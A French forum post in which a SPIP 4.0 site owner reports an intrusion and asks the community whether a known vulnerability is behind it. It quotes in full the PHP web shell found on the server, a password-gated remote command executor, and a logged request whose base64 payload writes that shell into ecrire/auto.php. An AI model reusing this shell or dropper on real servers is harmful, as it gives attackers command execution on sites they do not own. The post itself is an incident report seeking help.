Bonjour La communaute Spip,
J’espere que vous vous portez bien. Depuis ce matin deux de mes sites spip sont sous attaque DDOS d’un type un peu particullier:
Version spip : 4.0
Description:
Le pirate a pu injecter deux fichier (peut etre plus) dans le serveur spip.
un fichier a la racine du site :
/response.php
contenant le code suivant :
<?php if(isset($_GET['k'])){function t($t){return @trim($t," \n\r\t");}function po($c){$d=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));$p=@proc_open($c,$d,$s);if(is_resource($p)){$o=@stream_get_contents($s[1]);@fclose($s[0]);@fclose($s[1]);@fclose($s[2]);@proc_close($p);return $o;}return false;}echo '#!#';$k=@base64_decode($_GET['k']);$c=@base64_decode(@file_get_contents('php://input'));if($k!==false&&$c!==false){if(@md5($k)==='e75acb27171300d9b9470c44ec4c1fc6'){$f=array('exec','shell_exec','system','passthru','proc_open');$d=array();if(($g=@ini_get('disable_functions'))!==false)$d=@explode(',',$g);$o=false;foreach($f as $e){if(!in_array($e,$d)&&@function_exists($e)){switch($e){default:$o=false;case 'exec':if(@exec($c,$r)!==false)$o=t(@implode($r));break;case 'shell_exec':if(($r=@shell_exec($c))!==false)if($r!==null)$o=t($r);break;case 'system':case 'passthru':@ob_start();if(($e=='system'&&($r=@system($c))!==false)||($e=='passthru'&&($r=@passthru($c))!==false))$o=t(@ob_get_contents());@ob_end_clean();break;case 'proc_open':if(($r=po($c))!==false)$o=t($r);break;}}}if($o)echo @base64_encode($o);else echo 'EXEC_ERROR';}else echo 'AUTH_ERROR';}else echo 'REQUEST_ERROR';echo '#$#';}?>
Un autre fichier dans le dossier /ecrire
/ecrire/auto.php
/local/define.php
Que je supose contiene le meme code PHP.
Apres analyse du log serveur il se trouve que le pirate a pu executer la requete suivante :
[19/May/2023:13:49:12 +0000] « GET /ecrire/auto.php?k=JG5XUk11UjgiWzc/Qlc6dnRGdydte3pBKyZwOHZLW1Q=&c=ZWNobyAtbiAiUEQ5d2FIQWdhV1lvYVhOelpYUW9KRjlIUlZSYkoyc25YU2twZTJaMWJtTjBhVzl1SUhRb0pIUXBlM0psZEhWeWJpQkFkSEpwYlNna2RDd2lJRnh1WEhKY2RDSXBPMzFtZFc1amRHbHZiaUJ3Ynlna1l5bDdKR1E5WVhKeVlYa29NRDArWVhKeVlYa29KM0JwY0dVbkxDZHlKeWtzTVQwK1lYSnlZWGtvSjNCcGNHVW5MQ2QzSnlrc01qMCtZWEp5WVhrb0ozQnBjR1VuTENkM0p5a3BPeVJ3UFVCd2NtOWpYMjl3Wlc0b0pHTXNKR1FzSkhNcE8ybG1LR2x6WDNKbGMyOTFjbU5sS0NSd0tTbDdKRzg5UUhOMGNtVmhiVjluWlhSZlkyOXVkR1Z1ZEhNb0pITmJNVjBwTzBCbVkyeHZjMlVvSkhOYk1GMHBPMEJtWTJ4dmMyVW9KSE5iTVYwcE8wQm1ZMnh2YzJVb0pITmJNbDBwTzBCd2NtOWpYMk5zYjNObEtDUndLVHR5WlhSMWNtNGdKRzg3ZlhKbGRIVnliaUJtWVd4elpUdDlaV05vYnlBbkl5RWpKenNrYXoxQVltRnpaVFkwWDJSbFkyOWtaU2drWDBkRlZGc25heWRkS1Rza1l6MUFZbUZ6WlRZMFgyUmxZMjlrWlNoQVptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ozQm9jRG92TDJsdWNIVjBKeWtwTzJsbUtDUnJJVDA5Wm1Gc2MyVW1KaVJqSVQwOVptRnNjMlVwZTJsbUtFQnRaRFVvSkdzcFBUMDlKMlUzTldGallqSTNNVGN4TXpBd1pEbGlPVFEzTUdNME5HVmpOR014Wm1NMkp5bDdKR1k5WVhKeVlYa29KMlY0WldNbkxDZHphR1ZzYkY5bGVHVmpKeXduYzNsemRHVnRKeXduY0dGemMzUm9jblVuTENkd2NtOWpYMjl3Wlc0bktUc2taRDFoY25KaGVTZ3BPMmxtS0Nna1p6MUFhVzVwWDJkbGRDZ25aR2x6WVdKc1pWOW1kVzVqZEdsdmJuTW5LU2toUFQxbVlXeHpaU2trWkQxQVpYaHdiRzlrWlNnbkxDY3NKR2NwT3lSdlBXWmhiSE5sTzJadmNtVmhZMmdvSkdZZ1lYTWdKR1VwZTJsbUtDRnBibDloY25KaGVTZ2taU3drWkNrbUprQm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0pHVXBLWHR6ZDJsMFkyZ29KR1VwZTJSbFptRjFiSFE2Skc4OVptRnNjMlU3WTJGelpTQW5aWGhsWXljNmFXWW9RR1Y0WldNb0pHTXNKSElwSVQwOVptRnNjMlVwSkc4OWRDaEFhVzF3Ykc5a1pTZ2tjaWtwTzJKeVpXRnJPMk5oYzJVZ0ozTm9aV3hzWDJWNFpXTW5PbWxtS0Nna2NqMUFjMmhsYkd4ZlpYaGxZeWdrWXlrcElUMDlabUZzYzJVcGFXWW9KSEloUFQxdWRXeHNLU1J2UFhRb0pISXBPMkp5WldGck8yTmhjMlVnSjNONWMzUmxiU2M2WTJGelpTQW5jR0Z6YzNSb2NuVW5Pa0J2WWw5emRHRnlkQ2dwTzJsbUtDZ2taVDA5SjNONWMzUmxiU2NtSmlna2NqMUFjM2x6ZEdWdEtDUmpLU2toUFQxbVlXeHpaU2w4ZkNna1pUMDlKM0JoYzNOMGFISjFKeVltS0NSeVBVQndZWE56ZEdoeWRTZ2tZeWtwSVQwOVptRnNjMlVwS1NSdlBYUW9RRzlpWDJkbGRGOWpiMjUwWlc1MGN5Z3BLVHRBYjJKZlpXNWtYMk5zWldGdUtDazdZbkpsWVdzN1kyRnpaU0FuY0hKdlkxOXZjR1Z1SnpwcFppZ29KSEk5Y0c4b0pHTXBLU0U5UFdaaGJITmxLU1J2UFhRb0pISXBPMkp5WldGck8zMTlmV2xtS0NSdktXVmphRzhnUUdKaGMyVTJORjlsYm1OdlpHVW9KRzhwTzJWc2MyVWdaV05vYnlBblJWaEZRMTlGVWxKUFVpYzdmV1ZzYzJVZ1pXTm9ieUFuUVZWVVNGOUZVbEpQVWljN2ZXVnNjMlVnWldOb2J5QW5Va1ZSVlVWVFZGOUZVbEpQVWljN1pXTm9ieUFuSXlRakp6dDlQejQ9IiB8IGJhc2U2NCAtZCA%2BICJhdXRvLnBocCI7 HTTP/1.1 » 200 317 « - » « python-requests/2.26.0 »
Ceci a eu pour effet de faire grimper la charge du serveur a plus de 100,100,100 ce qui a effectivement mis hors d’etat de servir des requete http normale en retournant chaque fois un code 500, ceci serait il du a une vulnerabulite spip ou ecran de securite connue ou alors serait-ce un cas nouveau.
Merci de vos commentaires et suggestions.